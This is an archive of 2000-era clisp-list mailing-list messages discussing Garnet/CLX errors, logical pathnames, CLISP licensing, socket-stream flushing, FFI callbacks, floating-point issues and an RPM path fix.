demos section doesn't display in color. It doesn't work at all with
mit-clx (nor indeed do basic CLX demos): there are problems with setf
functions being hidden by setf-expanders:

when loading garnet:

  WARNING:
  The function (SETF XLIB:GCONTEXT-FUNCTION) is hidden by a SETF expander.
  WARNING:
  The function (SETF XLIB:GCONTEXT-FOREGROUND) is hidden by a SETF expander.
  WARNING:
  The function (SETF XLIB:GCONTEXT-BACKGROUND) is hidden by a SETF expander.
  [...]

then when running:

  *** - FUNCALL: the function #:|(SETF XLIB:WINDOW-PLIST)| is undefined


I think the problem is in the mit-clx/depdefs.lsp:def-clx-class macro,
which seems to be emulating CLOS with structures, but it's too hairy
for me to understand.

[CLISP 2000-03-06 and garnet-3.0.clisp]
 
-- 
Eric Marsden                          <URL:http://www.laas.fr/~emarsden>


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From: Thibault Langlois <tl@weenie.inesc.pt>

I'm glad to see I am not the only one to use garnet these days...!

| >>>>> "bu" == bernard URBAN <Bernard.Urban@meteo.fr> writes:
| 
|   tl> (lisp-implementation-version) -> "2000-03-09 (March 2000)"
|   tl> with new-clx module on a gnu/linux RedHat 6.0 system (intel) 
| 
|   bu> This may be your problem. With mit-clx, I can compile and load
|   bu> Garnet without problem.
| 
| actually, I have the opposite problem: Garnet more-or-less works with
| nclx but not at all with mit-clx. Here is a message I sent here in
| March: 
| 
| ----------------------------------------------------------------------- 
| It doesn't work correctly with CLISP: with nclx it seems to miss some
| refresh events (windows sometimes stay undrawn), and the logo in the
| demos section doesn't display in color. It doesn't work at all with
                ^^^^^^^^^^^^^^^^^^^^^^^^

This may be caused by a problem with "true-color" screen support. This 
problem is fixed in Fred Gilham <gilham@csl.sri.com>'s version
(thanks to Paolo for this information. It did not solved my problem
with clisp but it did solve the color problem.)

url:  ftp://ftp.csl.sri.com/pub/users/gilham/garnet/

In this version (maybe it should be called garnet-3.0.x) the pixmap
problem is partially solved. Garnet was not able to load pixmaps with 
depth > 8. Now It displays correctly the first half of the pixmap!

| mit-clx (nor indeed do basic CLX demos): there are problems with setf
| functions being hidden by setf-expanders:

Actually I am using garnet with allegro, this was my first try with 
nclx/clisp. I will try mit-clx and see if I get the same problem.

| 
| when loading garnet:
| 
|   WARNING:
|   The function (SETF XLIB:GCONTEXT-FUNCTION) is hidden by a SETF expander.
|   WARNING:
|   The function (SETF XLIB:GCONTEXT-FOREGROUND) is hidden by a SETF expander.
|   WARNING:
|   The function (SETF XLIB:GCONTEXT-BACKGROUND) is hidden by a SETF expander.
|   [...]
| 
| then when running:
| 
|   *** - FUNCALL: the function #:|(SETF XLIB:WINDOW-PLIST)| is undefined
| 
| 
| I think the problem is in the mit-clx/depdefs.lsp:def-clx-class macro,
| which seems to be emulating CLOS with structures, but it's too hairy
| for me to understand.
| 

Thibault Langlois




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On Mon, 15 May 2000 09:29:00 GMT, bernard URBAN <Bernard.Urban@meteo.fr>
wrote:

> Thibault Langlois writes:
[...]
>    >>>  with new-clx module on a gnu/linux RedHat 6.0 system (intel) 
>              ^^^^^^^
> 
> This may be your problem. With mit-clx, I can compile and load Garnet
> without problem.

One of the main design goals of NCLX was Garnet compatibility.


Paolo
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>>>> In message <200005040656.XAA00879@isis.compsvcs.com.>
>>>> On the subject of "[clisp-list] logical pathnames in clisp 2000-03-06 ?"
>>>> Sent on Thu May 04 01:49:47 EDT 2000
>>>> Honorable Don Cohen <donc@compsvcs.com> writes:
 >> Am I doing something wrong or are logical pathnames still not working?
 >> 
 >> [2]> (logical-pathname-translations "sys")

I don't know why CLISP defines this logical host.  (the only reason I
could see is to make "LISP" equivalent to "lisp" as filename
extensions.)
Bruno?

 >> [4]> (setf (logical-pathname-translations "Don")
 >>   '((";**;*.*" "/export/home/donc/lisp/")
 >>     ("**;*.*" "/export/home/donc/lisp/")))

your fault, it should be

(setf (logical-pathname-translations "Don")
      '(("**;*.*" "/export/home/donc/lisp/**/*")))

(I don't know what the leading ';' is for, but I am not a logical
pathname expert).

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   >> [4]> (setf (logical-pathname-translations "Don")
   >>   '((";**;*.*" "/export/home/donc/lisp/")
   >>     ("**;*.*" "/export/home/donc/lisp/")))
  
  your fault, it should be
  
  (setf (logical-pathname-translations "Don")
        '(("**;*.*" "/export/home/donc/lisp/**/*")))

Well, what I should have written in this case was /export/.../lisp/*.* 
I was HOPING to ignore the **, i.e., don:foo.bar and don:x;y;z;foo.bar
both translate to /export/.../lisp/foo.bar
Similarly, I'd like to be able to leave out the *.*, as in
/export/.../lisp/foo in which case the filename and extension would
also not matter.  Or even /export/.../lisp/*.lsp or fum.* in order
to get foo.bar to translate to foo.lsp or fum.bar !

Does this make sense?
  
  (I don't know what the leading ';' is for, but I am not a logical
  pathname expert).

The leading ; is to allow for translations of relative paths.



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Sam writes:
>  >> Am I doing something wrong or are logical pathnames still not working?
>  >> 
>  >> [2]> (logical-pathname-translations "sys")
> 
> I don't know why CLISP defines this logical host.  (the only reason I
> could see is to make "LISP" equivalent to "lisp" as filename
> extensions.)
> Bruno?

CLtL2 and CLHS say
   The logical pathname host name "SYS" is reserved for the implementation.
   The existence and meaning of SYS: logical pathnames is implementation-
   defined.

I thought it was good style to define such a logical host; at least it
makes it possible to test something :-)

> (I don't know what the leading ';' is for, but I am not a logical
> pathname expert).

"If a semicolon precedes the directories, the directory component is
relative; otherwise it is absolute."

Bruno


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Don Cohen writes:
>   it should be
>   
>   (setf (logical-pathname-translations "Don")
>         '(("**;*.*" "/export/home/donc/lisp/**/*")))
> 
> Well, what I should have written in this case was /export/.../lisp/*.* 
> I was HOPING to ignore the **, i.e., don:foo.bar and don:x;y;z;foo.bar
> both translate to /export/.../lisp/foo.bar

It doesn't work this way in clisp, because throwing away wild directory
components doesn't seem useful to me. (Imagine all index.html files on your
preferred webserver being copied to a single place...)

Bruno


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>>>> In message <6rIdORcBCuVCcdsSVhnXxhQW8qp1@4ax.com>
>>>> On the subject of "[clisp-list] Looking for bits of history"
>>>> Sent on Sat May 13 14:50:47 EDT 2000
>>>> Honorable Paolo Amoroso <amoroso@mclink.it> writes:
 >> I would appreciate it if the CLISP authors or maintainers could tell
 >> something about its history, e.g. when and how the project was started and
 >> by whom, what were its design goals, the major implementation challenges,
 >> etc. I'm just curious.

When I asked for a doc/clisp-history file, Bruno told me that he
"builds software, not myths."

nevertheless, I join you in your request.

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On 18 May 2000 16:09:53 -0400, Sam Steingold <sds@gnu.org> wrote:

> When I asked for a doc/clisp-history file, Bruno told me that he
> "builds software, not myths."

Well, I was actually looking for trivia, not myths (for the latter there
are already LispMs, Lucid and GLS :) Whether CLISP started as a
research--on which topics?--or personal project, whether portability was a
design choice from the start, etc.


Paolo
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Paolo Amoroso writes:

> Well, I was actually looking for trivia, ... Whether CLISP started as a
> research--on which topics?--or personal project, whether portability was a
> design choice from the start, etc.

Most of these questions are answered when you download the first public
release of clisp, at
  ftp://ftp.sunsite.org.uk/Mirrors/ftp.uni-paderborn.de/atari/lang/lisp/clisp/

and the sources at
  ftp://sunsite.univie.ac.at/pub/languages/lisp/clisp/binaries/atari/oldclisp-source/

Bruno


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Subject: [clisp-list] CL-GTK and CLISP license?

Greetings,

Some time ago I asked for clarification on CLISP's license but got
no answer.  I'll try once more from a bit different viewpoint.

Espen S. Johnsen has written GTK bindings that support CMUCL and
CLISP.  The package is distributed under LGPL license.  It uses
CLISP's FFI package (in #+clisp ... code).  Is this legal?  I've
tried to interpret GPL and LGPL but I just don't get it.  Somehow
based on the explanation of derivative work I get a feeling that it
/might/ be legal when distributed on its own, but I'm getting
headache when I think what happens if I actually try to use it with
CLISP to create a non-GPL application that doesn't use CLISP
internals but it uses CL-GTK that does.  Then again, when I read
Why-CLISP-is-under-GPL text I'm starting to doubt whether CL-GTK is
legal even if it is distributed on its own.

The reason I'm wondering this is that I'm trying to find a Common
Lisp implementation that I could use to create something along the
lines of Software Carpentry's
<URL:http://software-carpentry.codesourcery.com/> SC Build tool,
i.e. basically a make replacement.  CLISP is pretty much the only
alternative with regard to portability requirements, but since it
doesn't have good enough system interfaces for running external
programs etc. I would need to write them myself and thus need to
use CLISP-specific packages such as FFI.  However, I'd prefer this
build tool to be distributed under BSD license (or similar) and I
also don't want to impose any particular license on users'
"makefiles" that may contain arbitrary CL code (i.e. if they don't
use CLISP internals, they shouldn't need to make their "makefiles"
GPL'ed just because the build system they use uses CLISP
internals).

Thanks in advance,
-- 
Hannu


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The original message from Hannu Koivisto asks whether one is allowed
to distribute non GPL applications built from Clisp plus other (L)GPL 
lisp code.

The basic problem is that (L)GPL is really meant for c code, not 
lisp code.  The Clisp copyright specifically weakens the requirements 
in an appropriate way.  
You can write a common lisp program and distribute it as a Clisp 
image if you also offer the customer all he needs in order to build 
that image, i.e., the appropriate version of Clisp, the files that 
have to be loaded into it, and the directions for doing that.

I see two probems when you want to distribute an application that
contains some other (L)GPL code.

1. The Clisp copyright says:
  You may copy and distribute memory image files generated by the
  function SAVEINITMEM, if it was generated only from CLISP and
  independent work ...
How about images generated from CLISP, other LGPL code, and 
independent work?  Of course, if the other LGPL code is independent
work, then the original copyright allows it.  What we need is 
permission if it's not.

2. It's not so clear whether your code is "derived from" that other 
LGPL code.

I notice that there's a file in the new Allegro web server that
specifically addresses this problem.  (Allegroserve is available 
from ftp://ftp.franz.com/pub/aserve/).  I include the file
license-allegroserve.txt below.
I'd like to thank Franz both for attempting to clarify this subject 
and for releasing code under that license.

I think it would be useful to add that sort of clarification to the
code in libraries (such as CLOCC).  I guess I'm proposing a new
license, the "LispGPL", which is suitable for lisp code.

================

Prequel to the Gnu Lesser General Public License

Copyright (c) 2000 Franz Inc., Berkeley, CA 94704

Franz Inc. has adopted the concept of the GNU Lesser General Public
License version 2.1 ("LGPL") to govern the use and distribution of
AllegroServe.  However, LGPL uses terminology that is more appropriate
for a program written in C than one written in Lisp.  Nevertheless,
LGPL can still be applied to a Lisp program if certain clarifications
are made.  This document details those clarifications.

Accordingly, the license for AllegroServe consists of this document
plus LGPL.  Wherever there is a conflict between this document and
LGPL, this document takes precedence over LGPL.

A "Library" in Lisp is a collection of Lisp functions, data and
foreign modules.  The form of the Library can be Lisp source code (for
processing by an interpreter) or object code (usually the result of
compilation of source code or built with some other
mechanisms). Foreign modules are object code in a form that can be
linked into a Lisp executable.  When we speak of functions we do so in
the most general way to include, in addition, methods and unnamed
functions. Lisp "data" is also a general term that includes the data
structures resulting from defining Lisp classes.

A Lisp application may include the same set of Lisp objects as does a
Library, but this does not mean that the application is necessarily a
"work based on the Library" it contains.

The AllegroServe Library consists of everything in the AllegroServe
distribution file set before any modifications are made to the files.
If any of the functions or classes in the AllegroServe Library are
redefined in other files, then those redefinitions ARE considered a
work based on the AllegroServe Library. If additional methods are
added to generic functions in the AllegroServe Library, those
additional methods are NOT considered a work based on the AllegroServe
Library. If AllegroServe classes are subclassed, these subclasses are
NOT considered a work based on the AllegroServe Library.  If the
AllegroServe Library is modified to explicitly call other functions
that are neither part of Lisp itself nor an available add-on module to
Lisp, then the functions called by the modified AllegroServe Library
ARE considered a work based on the AllegroServe Library.  The goal is
to ensure that the AllegroServe Library will compile and run without
getting undefined function errors.

It is permitted to add proprietary source code to the AllegroServe
Library, but it must be done in a way such that the AllegroServe
Library will still run without that proprietary code present.

Section 5 of the LGPL distinguishes between the case of a library
being dynamically linked at runtime and one being statically linked at
build time. Section 5 of the LGPL states that the former results in an
executable that is a "work that uses the Library."  Section 5 of the
LGPL states that the latter results in one that is a "derivative of
the Library", which is therefore covered by LGPL.  Since Lisp only
offers one choice, which is to link the Library into an executable at
build time, we declare that, for the purpose applying LGPL to the
AllegroServe Library, an executable that results from linking a "work
that uses the AllegroServe Library" with the Library is considered a
"work that uses the Library" and is therefore NOT covered by LGPL.
Because of this declaration, section 6 of LGPL is not applicable to
the AllegroServe Library.  However, in connection with each
distribution of this executable, you must also deliver, in accordance
with the terms and conditions of the LGPL, the source code of
AllegroServe Library (or your derivative thereof) that is incorporated
into this executable.


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Would it be hard to change CALL-NEXT-METHOD into a function
(instead of macro)?  Without it, CLISP is inconsistent with
ANSI CL and CLtL2, and some programs cannot not be ported
easily to it.

The IMPNOTES.HTML proposes to use #'(lambda () (call-next-method))
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This happens whey you write :AROUND method for INITIALIZE-INSTANCE,
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Zbyszek Jurkiewicz writes:
> Would it be hard to change CALL-NEXT-METHOD into a function
> (instead of macro)?  Without it, CLISP is inconsistent with
> ANSI CL and CLtL2, and some programs cannot not be ported
> easily to it.
> 
> The IMPNOTES.HTML proposes to use #'(lambda () (call-next-method))
> instead of #'call-next-method, but this solution would not work
> if one (e.g. me) wants to pass changed arguments to it and MUST
> use APPLY.
> 
> This happens whey you write :AROUND method for INITIALIZE-INSTANCE,
> where the list of keyword arguments could be (possibly) enormous,
> and you (or package which is being ported) tries to modify it.

Your explanation is convincing. For the first time, I see a way to
implement it: CALL-NEXT-METHOD must be defined as both a macro (for
efficiency) and a function (for correctness). It will involve changes
in the compiler and the interpreter, but is doable.

Thanks for the suggestion and the carefully prepared mail.

Bruno


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Subject: [clisp-list] Refering to "CLISP & flushing on socket-stream"

Hi

I just read the lisp newsgroup and found the article by Rafal Strzaliski,
regarding the above subject.

Maybe I can elaborate a bit on this.
Recently I wrote a HTTP-server for Clisp. When sending a POST-reply back
to Netscape, sometimes Netscape insisted that it had not seen all the data
before the connection was closed.
I used write-byte-sequence to write the data over the socket-stream.
When I inserted (sleep 1) or even (sleep 0.1) _before_  I closed the
connection, all worked fine.
I am not really sure, why.

I tried to use force-output or finish-output, but this did not help a lot.
When I looked at the sourcecode, I noted one thing:
In my opinion force-/finish-output do nothing on unbuffered streams, and a
socket-stream is an unbuffered stream, or am I wrong here?

Comments?

Cheers,

Martin


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>>>>> "ma" == Martin Atzmüller <ygrats@gmx.net> writes:

  ma> Recently I wrote a HTTP-server for Clisp. When sending a
  ma> POST-reply back to Netscape, sometimes Netscape insisted that it
  ma> had not seen all the data before the connection was closed.

I have also run into this problem: Netscape says "server closed
connection prematurely". The same code used to work with older
versions of CLISP; maybe something has changed with the buffering
code?

Shouldn't closing a socket automatically flush all pending unwritten
data?
  
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Subject: [clisp-list] socket streams


I have a problem with stream sockets in CLISP. 
The following session shows the problem.

$ cat test.lsp
(setq s (socket-server 5555))
(setq x (socket-accept s))
(format x "Hello!~%")
(setq y (read-line x))
(format x "y = ~A~%" y)
(format x "BYE~%")
(force-output x)
(finish-output x)
;(sleep 1)
(close x)
(socket-server-close s)

$ clisp test.lsp &
[1] 13402
$ telnet nabla 5555
Trying 10.0.4.2...
Connected to nabla.ustronet.
Escape character is '^]'.
Hello!
hello
hello
[1]  + done       clisp test.lsp
Connection closed by foreign host.

 
Flushing output doesn't work correct. Where is "BYE".


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  Rafal Strzalinski
  
  
  I have a problem with stream sockets in CLISP. 
  The following session shows the problem.
  
  $ cat test.lsp
  (setq s (socket-server 5555))
  (setq x (socket-accept s))
  (format x "Hello!~%")
  (setq y (read-line x))
  (format x "y = ~A~%" y)
  (format x "BYE~%")
  (force-output x)
  (finish-output x)
  ;(sleep 1)
  (close x)
  (socket-server-close s)
  
  $ clisp test.lsp &
  [1] 13402
  $ telnet nabla 5555
  Trying 10.0.4.2...
  Connected to nabla.ustronet.
  Escape character is '^]'.
  Hello!
  hello
  hello
  [1]  + done       clisp test.lsp
  Connection closed by foreign host.
  
   
  Flushing output doesn't work correct. Where is "BYE".
  
I guess this depends on such things as the clisp version and the OS.
In clisp-2000-03-06 on linux I don't see this problem.  In fact, the
output appears without any force-output.

However, I see a related problem.  
If I close the shell window in which the telnet is done,
the lisp process does not see that the stream is closed.

In a clisp built from source about a week ago:
  [1]> (setq s (socket-server 5555)) 
  #<SOCKET-SERVER 24.130.53.144:5555>
  [2]>  (setq x (socket-accept s)) 

[now I telnet]

  #<UNBUFFERED SOCKET-STREAM CHARACTER 24.130.53.144:5555>

[now I close the telnet window]

  [3]> x
  #<UNBUFFERED SOCKET-STREAM CHARACTER 24.130.53.144:5555>
  [4]> (open-stream-p x)
  T
  [5]> (lisp:socket-status x)
  :OUTPUT
  [6]> (print 1 x)
  1

The next time I try to print to x I get
*** - UNIX error 32 (EPIPE): Broken pipe, child process terminated or
socket closed

Now the Really weird part - I run xemacs, start a shell 
from there, run clisp in that shell, do the first two
lines above (socket-server, socket-accept), and then
from another shell, telnet to the server and then close the 
shell window.  My xemacs process disappears !  
This is reproducible.  Multiple machines.  
Any ideas?


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One problem solved - exiting xemacs is only in the case where I close
the window from which I started xemacs.  I started it with &.
Weird.  If I exit from that shell by typing exit the xemacs survives, 
but if I close the shell window it does not.
Well, now we're getting away from clisp into unix (linux?) questions.
The rest of my previous message remains valid.


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  don@nichimen.com (Don Cohen) writes:

>   Rafal Strzalinski
>   
>   
>   I have a problem with stream sockets in CLISP. 
>   The following session shows the problem.
>   
>   $ cat test.lsp
>   (setq s (socket-server 5555))
>   (setq x (socket-accept s))
>   (format x "Hello!~%")
>   (setq y (read-line x))
>   (format x "y = ~A~%" y)
>   (format x "BYE~%")
>   (force-output x)
>   (finish-output x)
>   ;(sleep 1)
>   (close x)
>   (socket-server-close s)
>   
>   $ clisp test.lsp &
>   [1] 13402
>   $ telnet nabla 5555
>   Trying 10.0.4.2...
>   Connected to nabla.ustronet.
>   Escape character is '^]'.
>   Hello!
>   hello
>   hello
>   [1]  + done       clisp test.lsp
>   Connection closed by foreign host.
>   
>    
>   Flushing output doesn't work correct. Where is "BYE".
>   
> I guess this depends on such things as the clisp version and the OS.
> In clisp-2000-03-06 on linux I don't see this problem.  In fact, the
> output appears without any force-output.

I've swiched to cmu-lisp with net library from clocc.sourceforge.net
and I'm very happy :-)). Everything works OK.

> The next time I try to print to x I get
> *** - UNIX error 32 (EPIPE): Broken pipe, child process terminated or
> socket close

Under cmu-lisp you can catch SIGPIPE.


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Subject: [clisp-list] testing for eof

I sent an earlier message about socket streams but I now think
that this is a more general problem, a hole in the cl spec.
The problem:
 how can I tell when I've reached the end of a stream?
Well, there is a way for character streams:
 (defun eof-p (stream)
   (let ((ans (read-char-no-hang stream nil :eof)))
     ;; ans is now a char, nil or :eof
     (when (eql ans :eof) (return-from eof-p t))
     (when ans (unread-char ans stream))
     nil))

If it's a binary stream what can I do?
There's no unread-byte.  There's no read-byte-no-hang.
The closest I can see is changing the stream to a character stream
then doing above, then changing it back.  This does not work, though.
If the read-char-no-hang returns #\newline there's no reason to expect
that the unread-char will restore the stream to its previous state
with respect to read-byte.  The input might have contained crlf and
be restored to only lf or vice versa.

So, here's my next request.  Could we have an eof-p function that
works on binary streams (preferably on all streams)?
Unlike some of my other recent requests, this seems like one that 
should be easy to implement.




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  don@nichimen.com (Don Cohen) writes:

> One problem solved - exiting xemacs is only in the case where I close
> the window from which I started xemacs.  I started it with &.
> Weird.

You kill shell, and shell kills started jobs.
try 
disown %1
where %1 is a xemacs's job number.

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Rafal Strzalinski wrote:
> 
> > The next time I try to print to x I get
> > *** - UNIX error 32 (EPIPE): Broken pipe, child process terminated or
> > socket close
> 
> Under cmu-lisp you can catch SIGPIPE.

you can use ignore-errors or handler-case or ... in CLISP too.


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Zbyszek Jurkiewicz wrote on 2000-05-24:
> Would it be hard to change CALL-NEXT-METHOD into a function
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This is now implemented in the current CVS. Thanks for the suggestion.

Bruno


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  Martin Atzmüller
  Hi
  
  I just read the lisp newsgroup and found the article by Rafal Strzaliski,
  regarding the above subject.
  
  Maybe I can elaborate a bit on this.
  Recently I wrote a HTTP-server for Clisp. When sending a POST-reply back
  to Netscape, sometimes Netscape insisted that it had not seen all the data
  before the connection was closed.
  I used write-byte-sequence to write the data over the socket-stream.
  When I inserted (sleep 1) or even (sleep 0.1) _before_  I closed the
  connection, all worked fine.
  I am not really sure, why.
  
  I tried to use force-output or finish-output, but this did not help a lot.
  When I looked at the sourcecode, I noted one thing:
  In my opinion force-/finish-output do nothing on unbuffered streams, and a
  socket-stream is an unbuffered stream, or am I wrong here?
  
  Comments?
  
How much data were you writing?
Also what OS?
Have you tried watching the packets?  
The fact that clisp thinks this stream is unbuffered suggests that
it thinks the stream just goes to the tcp code, so finish output is a 
noop, whereas in reality the stream goes to the tcp on the other end 
of the connection.  Therefore finish output should wait for the ack to 
come back indicating that all the data has been received.  
I wonder how easy that is.




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Don Cohen wrote:
>   Martin Atzmüller
>   Hi
>   
>   I just read the lisp newsgroup and found the article by Rafal
> Strzaliski,
>   regarding the above subject.
>   
>   Maybe I can elaborate a bit on this.
>   Recently I wrote a HTTP-server for Clisp. When sending a POST-reply
> back
>   to Netscape, sometimes Netscape insisted that it had not seen all the
> data
>   before the connection was closed.
>   I used write-byte-sequence to write the data over the socket-stream.
>   When I inserted (sleep 1) or even (sleep 0.1) _before_  I closed the
>   connection, all worked fine.
>   I am not really sure, why.
>   
>   I tried to use force-output or finish-output, but this did not help a
> lot.
>   When I looked at the sourcecode, I noted one thing:
>   In my opinion force-/finish-output do nothing on unbuffered streams,
> and a
>   socket-stream is an unbuffered stream, or am I wrong here?
>   
>   Comments?
>   
> How much data were you writing?
Exacltly 76 bytes.

> Also what OS?
Slackware Linux, Kernel 2.2.16, glibc 2.1.2.
I also tried it on a debian system, same results.

> Have you tried watching the packets?  
no.

> The fact that clisp thinks this stream is unbuffered suggests that
> it thinks the stream just goes to the tcp code, so finish output is a 
> noop, whereas in reality the stream goes to the tcp on the other end 
> of the connection.  Therefore finish output should wait for the ack to 
> come back indicating that all the data has been received.
Yes.
> I wonder how easy that is.
Me too. :)


Well, I tested it again, today, and it worked _sometimes_. Approximately 8
out of 10 trials it failed.
I tried this using Netscape 4.7 and Netscape 4.04.
A telnet got it all right, though.
I want to explore a bit further, and then I might have some sample code
(hopefully).

Well, one thing people might be able to reproduce is the following.
Newer CLISP-versions (CVS) have a #'inspect.
And this does not work in my setup, if I use the option ':frontend :http'.

For example:
(setq a "bla")
(inspect a :frontend :http)

results in the following message from Netscape:
"A network error occurred while Netscape was receiving data. (Network
Error: Connection reset by peer.)"

I looked at inspect.lisp.
The code that is responsible for that seems to be the macro
"with-html-output".
If I inserted a (sleep 1) just before (close sock), e.g. before the socket
was closed, Netscape at least displayed something.

I'm not really sure, if this is a Unix thing, or a Clisp bug, but I'd be
happy if somebody could reproduce this.


Martin



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Apoligies if you see this message too many times.

Hi,

this is the first public release of the CL-ENVIROMENT package version
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The package is available as a "File Module" in the CLOCC project at
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You should be able to download it from the directory

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Here is the README file

==============================================================================
CL.ENVIRONMENT 0.1

This package contains a set of definitions whose intent is to
facilitate the management of system dependencies.

In particular, many little bits and pieces of information, which are
usually represented as strings or features in a Common Lisp
implementation, are now represented as (singleton) class instances.
The idea being that now it should be "easier" to write more portable
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The inspiration for this work is in the Sonya Keene's book on CLOS.

The system has been tested on

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Please see the files INSTALLATION and COPYRIGHT for more information.
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==============================================================================

One is glad to be of help.

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Regards,

I've discovered that CLISP allows array specialized to integers and
friends, but not
double-floats and single-floats (let alone complex double-floats).

I'd like to port matlisp (which currently runs on CMU) to clisp.  To
make my life easier,
I'd need arrays specialized to double-floats.  In particular, the
specialization
should be that the allocation is C compatible (i.e. don't need to copy
arrays in/out
during foreign function calls).  Is this possible?  Can I do it
externally and load
it without dealing with the CLISP source?

Also, the FFI is somewhat confusing.  Is it possible to load a library,
say libblas.o,
without using link-kit.  I think that I should not need to have the
CLISP sources
around.

Thanks,
Tunc


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Regards,

I'm looking to get some help on the CLISP FFI.  I basically need to
figure
out how to load a compiled object (static) file into CLISP in a portable
way
(to me, this means without using clisp link kit).

Any suggestions, experiences.

Thanks,
Tunc


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Subject: [clisp-list] IEEE subnormals?

I notice that CLISP doesn't support IEEE 754 subnormal or denormalized
floats.  For example:

  > (eq least-positive-single-float least-positive-normalized-single-float)
  T

and:

  > (scale-float (float 1 1f0) -127)

  *** - floating point underflow

whereas, CMUCL and ACL-5.0 gives:

  * (scale-float (float 1 1f0) -127)

  5.8774716e-39

This is discussed in _impnotes.html a little bit.  How difficult would
these be to add to CLISP?

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Russell Senior writes:

> I notice that CLISP doesn't support IEEE 754 subnormal or denormalized
> floats. ...  How difficult would these be to add to CLISP?

Why would you want this in CLISP? When the exponent range is not
sufficient for an application, use the next higher floating point
format; it has a wider exponent range.

Bruno


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>>>>> "Bruno" == Bruno Haible <haible@ilog.fr> writes:

Russell> I notice that CLISP doesn't support IEEE 754 subnormal or
Russell> denormalized floats. ...  How difficult would these be to add
Russell> to CLISP?

Bruno> Why would you want this in CLISP? When the exponent range is
Bruno> not sufficient for an application, use the next higher floating
Bruno> point format; it has a wider exponent range.

Suppose you are handed an IEEE binary float representation, by
LISP:READ-FLOAT, or mayby through a foreign function interface.  Or
are constrained on output through LISP:WRITE-FLOAT to a fixed float
representation.

-- 
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Subject: [clisp-list] ILISP debugging problem

When using CLISP via ILISP, I've found a problem when debugging.  If my
program breaks, the first symbol I enter is not recognized, sending me into a
deeper break loop.  From that point on, everything works properly.  Does
anyone know if this is a CLISP or ILISP problem?  I don't recall it happening
with CMUCL, but I don't have it installed to check.  Is there a workaround?

Thanks,
Thom



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Subject: [clisp-list] Another Question (re: clisp rpm)

I've another question.  I installed the clisp-2000.03.06-1mdk rpm (from
rpmfind.net) and it's giving me fits.  When I run /usr/bin/clisp, I get this
lovely message:
/usr/bin/clisp: /var/tmp/clisp-buildroot/usr/lib/clisp/base/lisp.run: No such
file or directory

I can start things up manually, using lisp.run -M lispinit.mem, but that's a
pain.  I can also compile and install from source and have everything run
nicely.  I'd really like to keep the RPM, though (I like package systems). 
I'm guessing I need to recreate the /usr/bin/clisp binary.  Is there any way
to do this without source?  How should it be done (with or without source)?

Thanks,
Thom


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Thomas Goodsell writes:
> I've another question.  I installed the clisp-2000.03.06-1mdk rpm (from
> rpmfind.net) and it's giving me fits.  When I run /usr/bin/clisp, I get this
> lovely message:
> /usr/bin/clisp: /var/tmp/clisp-buildroot/usr/lib/clisp/base/lisp.run: No such
> file or directory
> 
> I can start things up manually, using lisp.run -M lispinit.mem, but that's a
> pain.  I can also compile and install from source and have everything run
> nicely.  I'd really like to keep the RPM, though (I like package systems).

The above message is a reason to dislike package systems, isn't it?

> I'm guessing I need to recreate the /usr/bin/clisp binary.  Is there any way
> to do this without source?  How should it be done (with or without source)?

Try the following commands:

    sed -e 's%/var/tmp/clisp-buildroot%////////////////////////%g' \
       < /usr/bin/clisp > /usr/bin/clisp.new
    chmod a+rx /usr/bin/clisp.new
    mv /usr/bin/clisp.new /usr/bin/clisp

Bruno


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Much thanks; it works great now.

Perhaps I should rephrase -- I like the convenience of package systems, when
they work.

Thanks Again,
Thom



Bruno Haible <haible@ilog.fr> wrote:
> Thomas Goodsell writes:
> > I've another question.  I installed the clisp-2000.03.06-1mdk rpm (from
> > rpmfind.net) and it's giving me fits.  When I run /usr/bin/clisp, I get
this
> > lovely message:
> > /usr/bin/clisp: /var/tmp/clisp-buildroot/usr/lib/clisp/base/lisp.run: No
such
> > file or directory
> > 
> > I can start things up manually, using lisp.run -M lispinit.mem, but that's
a
> > pain.  I can also compile and install from source and have everything run
> > nicely.  I'd really like to keep the RPM, though (I like package
systems).
> 
> The above message is a reason to dislike package systems, isn't it?
> 
> > I'm guessing I need to recreate the /usr/bin/clisp binary.  Is there any
way
> > to do this without source?  How should it be done (with or without
source)?
> 
> Try the following commands:
> 
>     sed -e 's%/var/tmp/clisp-buildroot%////////////////////////%g' \
>        < /usr/bin/clisp > /usr/bin/clisp.new
>     chmod a+rx /usr/bin/clisp.new
>     mv /usr/bin/clisp.new /usr/bin/clisp
> 
> Bruno


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On 12 Jul 00 16:18:39 EDT, Thomas Goodsell <thom.goodsell@usa.net> wrote:

> I've another question.  I installed the clisp-2000.03.06-1mdk rpm (from
> rpmfind.net) and it's giving me fits.  When I run /usr/bin/clisp, I get this
[...]
> nicely.  I'd really like to keep the RPM, though (I like package systems). 

The main advantage of package systems is that you can remove the whole
thing without keeping track of where things are installed. However,
something similar can be obtained with a source distribution. Just run the
configure script with the option:

  --prefix=/usr/local/clisp  # or your favorite directory

and create a symbolic link from a directory in your path (e.g.
/usr/local/bin) to the CLISP executable (or just add the CLISP bin
directory to your path). When you need to remove that version of CLISP,
just do:

  rm -rf /usr/local/clisp


Paolo
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Hi,

I'm need to pass a callback function created with DEF-C-CALL-IN as an
argument to a C function (declared with DEF-C-CALL-OUT).  Something like
this:

;; Callback function
(def-c-call-in draw (:return-type nil))
(defun draw ()
  (...))

(defun some-function
  ...
  (glutDisplayFunc #'draw)
  ...)

This doesn't work, of course.  I don't want the lisp function #'DRAW, I
think what I need is the address of the C function draw.  How can I do
that?


For those interested: I am trying to make OpenGL bindings for clisp, more
specifically a port of the Allegro bindings found at
<URL:http://www.neci.nj.nec.com/homepages/mann/software-available.html>.
If OpenGL bindings for clisp already exists, please let me know.

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Knut Arild Erstad writes:

> I'm need to pass a callback function created with DEF-C-CALL-IN as an
> argument to a C function (declared with DEF-C-CALL-OUT).  Something like
> this:
> 
> ;; Callback function
> (def-c-call-in draw (:return-type nil))
> (defun draw ()
>   (...))
> 
> (defun some-function
>   ...
>   (glutDisplayFunc #'draw)
>   ...)

What does your def-c-call-out definition of glutDisplayFunc look like?

> This doesn't work, of course.  I don't want the lisp function #'DRAW, I
> think what I need is the address of the C function draw.

The FFI will convert the lisp function #'DRAW to the C function
address automatically, if you have the right declaration for glutDisplayFunc.

Bruno


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Hello!

Here a serious bug:

[6]> (lisp-implementation-version)
"2000-03-06 (March 2000)"
[7]> (eql -3.14159s0 3.14159s0)
NIL
[8]> (eql -3.14159e0 3.14159e0)
NIL
[9]> (eql -3.14159d0 3.14159d0)
NIL
[10]> (eql -3.14159l0 3.14159l0)
T
[11]> (eql (- pi) pi)
T

This bug is also the probable cause of bug 104646, as the declaration
(real (* -2 pi) (* 2 pi)) becomes (real (* -2 pi) (* -2 pi)).

